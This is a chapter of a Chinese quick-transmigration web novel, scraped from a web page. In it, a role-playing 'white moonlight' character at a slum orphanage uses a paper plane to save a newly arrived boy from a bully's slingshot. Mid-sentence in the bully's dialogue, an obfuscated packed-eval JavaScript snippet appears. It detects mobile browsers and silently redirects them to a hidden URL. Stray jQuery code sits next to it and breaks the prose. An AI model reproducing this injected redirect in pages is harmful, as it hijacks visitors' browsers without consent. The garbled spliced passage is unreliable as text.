1. 龙傲天文的白月光1

作品:《清冷白月光他只想死遁[快穿]

    在这座举世闻名繁华都市的南方,那片开发程度很低的落后区域,是公认的贫民窟。


    那里逼仄粗鄙,物质贫瘠,中心区的人们避之不及,除了偶尔有露宿街头的流浪汉混进来,很少再看到外来人员。


    一夜大雪过后,孤儿院的屋顶变成了银白的棉云,破旧不堪都被童话色彩掩盖。


    年龄各异的孩子挤在窗边的桌子上,正七嘴八舌地议论着什么。


    “真的假的?”


    “是真的,我还看见他头上包了这么大一圈白布!”


    “会不会只是路过的?”


    “我看是来混吃混喝的,本来我们饭就不够吃!”


    “怎么可能……”


    几个孩子争个不停,声音毫无阻碍传遍了房间每个角落。


    墙角摆着陈旧的简易书柜,旁边的小木凳端坐着一个正在折纸的少年。


    身躯清瘦,体态却笔直,低垂的长睫像柔顺的鸦羽,面色透出病态的苍白。


    过期废纸成了消磨时间的玩具,很快就被弯折成流畅形状。


    这份安然的沉默给人一种贸然打破就是无礼的感觉,那边和同伴争了几句的小女孩看了少年几眼,不由心虚地弱下了声线。


    “你看他做什么?这就不敢说了?人家是院长妈妈嘴里的好榜样,才没有兴趣搭理我们这些人!”


    “是啊,人家高贵着呢!”


    小女孩瘪了瘪嘴,没再说话。


    她的默认助长了这群人的气焰,经此一闹,刚刚的话题无疾而终,掺杂着嫉妒的编排旁若无人,吵闹声仿佛要掀翻屋顶。


    角落的少年折纸的动作缓慢而细致,目光始终只落在手上,指腹擦过纸面发出很轻的摩挲声,全然不受外界的打扰。


    这是寻微来到这个位面的第三个月,他已经很习惯这座孤儿院的生活,这个善意和恶意都被放大的世界。


    作为炮灰组的优秀员工,他刚开始对被突然调来白月光组这件事还很困惑,但看到了任务奖励里的高额积分后,自然而然咽下了所有的拒绝。


    任务流程不熟悉,那就尽力熟悉,他一贯都做得很好。


    白月光的任务和炮灰有所不同,寻微要扮演的不再是走个过场的路人,而是会与主角产生深切联系的某个短命角色。这个“白月光”的角色在前期剧情里有一定占比,言行都围绕成就主角展开,要走完所有推进主角成长的剧情点,才算完成任务。


    这是寻微换组后进入的第一个位面,提前过来更有充足的时间为剧情做好准备。


    经历的万千位面都由文字产生,这次的世界也不例外。


    这个位面的主角江宵暝,是被系统归类于出生平凡、成长迅速、奇遇不断的龙傲天型主角。


    对方年幼遭受巨变后曾短暂失聪,失忆辗转到了贫民窟的孤儿院。


    在这里生活了一段时间后,气运绝佳的主角被误入此地的富商夫妇看中抚养,摆脱泥潭之后,一路锦绣生花,即使树敌无数,也总能逢凶化吉,不断过关斩将,最终成了屹立在这座商业帝国顶端的无冕之王。


    而寻微扮演的对象,是主角年幼孤儿院时期的哥哥,负责为主角解决麻烦,保护主角不受欺凌,照顾主角直到对方顺利被收养,最终死于先心病恶化。


    微末时期收获的善意,未及回报就离世的遗憾,让走过了黑暗的童年时期、此后风光无限的江宵暝在功成名就后,也依旧记忆犹新。


    不管是惋惜,还是怀念,都不过是这个极端自我主义者茶余饭后的无聊谈资罢了。


    寻微不在乎主角后来会怎么想自己,任务结束恩怨两清,任务奖励才是货真价实的回馈。


    思考时,少年手中的动作也没有一丝凝滞,优雅得像在谱奏琴曲。


    系统默默看着寻微演示了数十种纸飞机的折法,没忍住好奇:


    [这是你的解压方式吗?]


    白皙的指腹压过纸张的褶皱,将折痕压得更深,不紧不慢地翻折、整理。


    “打发时间而已。”寻微说。


    新调任的宿主任何时候都表现冷静,这份游刃有余的自信很有感染力,但系统没放松警惕,继续巴巴提醒:


    [虽然已经说过好几次了,但还是要提醒宿主,一切任务皆为主角服务,严禁发生违背剧情的事。]


    这是新人培训就被不停灌输的规则,但这份告诫对穿梭过无数位面的老员工来说似乎有点多余。


    寻微平静回复:“我明白。”


    [那么,寻微,祝你好运。]


    “谢谢。”


    最后一句对话隐入尘埃,寻微调整了机翼的形状,将边角的褶皱压得更深。


    [宿主注意,位面主角即将出现,请做好准备。]


    [即将开始剧情任务:初识!]


    毫无感情的机械音提示同时响起的,还有活动室大门被推开的声音。


    将刚好完工的纸飞机拢进掌心,寻微抬起了眼睛。


    面容慈祥的妇女站在门口,对着屋内的大小孩童招手。


    “孩子们,保持安静!快来认识一下我们的新朋友,大家可以叫他江江——”


    说话间,那个站在妇女身边的瘦小孩子被推到视野中心。


    小孩莫约六七岁的身量,瘦得不成样子,头上的绷带残存着街头刚化的雪水。


    最引人注目的,还是那对漆黑眼瞳,阴暗无光,平淡得像一潭死水。


    当他毫无波动的盯视着你时,比起施舍可怜,是不详的恐惧先一步漫上心头。


    这是这个年龄的孩子不该有的眼神。


    而个体有太多的与众不同,是无法在集体抱团的环境里立足的。


    所以几乎在新成员露脸的第一时间,活动室的孩子们不约而同流露出抵触。


    江宵暝对这些恶意无动于衷,视线一一点过充满敌意的孩子,顿了顿,忽然投向了角落。


    那里立着一个神色冷淡的少年,五官清晰干净,身躯苍白羸弱,皮肤带着瓷器一样的光泽。


    只需一眼就知道,这是个生命正在倒数的纤弱蝴蝶。


    毫无威胁,却莫名显眼。


    就像暗室藏入的明珠、跌落尘泥的梨花,是很轻易就能被摧毁的瓷娃娃。


    而门口的院长妈妈已经向大家简短介绍了这个新朋友的基本状况。


    “江江是要和我们一起生活在这个大家庭里的好朋友,大家答应院长妈妈,要和江江友善相处,好不好?”


    生计所迫过度操劳让这个女人的眼尾和嘴角带上了明显的皱纹,但她还是会在处理社区工作之余,帮助协调孤儿院的事宜。


    大家都不想让繁忙的院长操心,于是都听话点头。


    院长妈妈夸孩子们懂事,和孩子们待了一会,又和今天轮班的生活老师嘱咐了新孩子的安排事宜,随后就奔赴了社区管理者的主职工作中去了。


    大雪过后,贫民窟里又要有很多不讲道理的流浪汉混入,比起孤儿院里让人省心的孩子们,她更需要注意的是预防社区成员的闹事。


    院长的判断失误了,其实有时候孩子的世界和大人的没什么区别。


    在保育员阿姨离开去收拾宿舍的时候,活动室的风波开始了。


    新成员才刚踩上室内褪色的泡沫垫,面前就堵来一道高壮身影。


    作为孤儿院里最身强体壮的孩子,张尧自认为是其他人的领头者,当然要在这个突然加入的外来者面前立下威风。


    刚刚在那边说起有老师孤儿院门口捡到人了的时候,张尧就被陈梦那个小丫头回怼得不爽,连带着对这个来历不明的江江也看不惯了。


    现在看到了正脸,果然是一副讨嫌样。


    “新来的——”张尧看着面前小鸡崽一样的男孩,“你是打哪来的流浪儿?是故意来我们这儿的吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632846|188033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    被他质问的对象看都没看他,绕过他走了。


    “喂!姓江的!那个叫江江的!”


    大吼大叫没得到回应,张尧连那个矮子新人的一个眼神都没得到,眼睁睁看着对方垂着头走向铺了纸壳的休息区。


    对方身上那件不合身的女士外套是那么可笑,连棕红老土的色彩都像在挑衅。


    当惯了孤儿院的老大,张尧早就习惯了一呼百应,一下就被无视了两次,已经点燃了怒火。


    他猛然扬起声音:“喂!我问你之前是不是流浪儿你听不见吗?!臭叫花子,我和你说话呢!你听见没有?!喂——”


    旁边的赵小宇咽了咽口水:“老大,他不理你诶。”


    其余的跟班也议论纷纷。


    “这人怎么敢无视老大!欠教训!”


    “就是,拽什么拽!”


    “长得这么矮,身上还有血,根本就是流浪儿吧!”


    “咦?他耳朵那里好像也有伤!”


    “怪不得我们说这么多,他都不理我们,不会真是聋子吧?”


    同伴的提醒让张尧注意到了江宵暝耳边的血迹。


    十二岁的男孩很爱惜自尊,他想到了一个既能找回面子又能给出教训的方法。


    在跟班们争论新人到底是不是聋子的时候,张尧反手抄起了桌上的玩具弹弓。


    “是不是聋子试一下不就知道了?反正……淑惠阿姨还没回来。”


    他将皮筋拉到最大,然后五指一松,一颗泛着冷光的小钢珠就弹身寸而去。


    弹丸划破空气,直直身寸向江宵暝的右耳。


    这个矮小的新人正低着头,眼睛蒙在头发阴影里,冻僵的手指拉紧了灌风的外套。


    背对的角度和封闭的感官,让他很难捕捉到这份即将到来的危机。


    似是感知到空气流动,江宵暝转过头,看到了迎面而来钢珠的同时,还有钢珠后方张尧得意洋洋的脸。


    这一秒的时间被无限拉长。


    在张尧彻底露出笑容之前,白色的剪影从轻盈侧方入场,带动空气荡出轻微的流波。


    半秒后,纸飞机厚实的尖端和弹丸轨迹一瞬重叠,相撞发出很轻的声音。


    威力不小的钢珠当然不会被纸张拦下,毫不留情就撞落了这个阻拦因素。


    纸飞机无力坠地。


    而那颗吸引了所有人目光的钢珠势如破竹地向前,然后擦过江宵暝的发尾,最后砰的一声,撞上了墙面上的笑脸绘画。


    弹丸落地,咕隆咕隆滚去了角落。


    飞射的弹珠有自己的力度和轨道,只要稍微改变一毫米,落点就会截然不同。


    但那样的速度远不是人力可以计算的。


    有这么巧合的误打误撞吗?!


    在孩子们瞠目结舌的寂静中,江宵暝眼神无波,缓缓望向了纸飞机的主人。


    只见原本角落里静立的人抬起眼帘,乌黑的眼睛里藏着一泓冷透的溪水。


    “适可而止。”他淡粉的唇瓣张张合合。


    张尧面色难看,握拳道:“关你什么事?寻微,别以为有人撑腰就能横着走了!你以为我们不敢打你吗?”


    寻微面无表情,“院长妈妈要我们和善相处,还是说,你更想去调解室?”


    “你还想告状?我告诉你,只要你敢——”


    江宵暝没能读出更多的字句,因为推门而入满脸暴躁的保育员已经打断了孩子们后续的纷争。


    在系着围裙的妇女对孩子们展开说教的时候,江宵暝垂下目光,看向了地上被打落的纸飞机。


    机尾部分散开了,露出印着“x年期末卷”的半个标题,潦草又鲜红的数字100下面,用墨迹笔写着主人的名字——


    寻微。


    呵,真有意思。


    [初识任务已完成,当前剧情完成度5%,请宿主再接再厉!]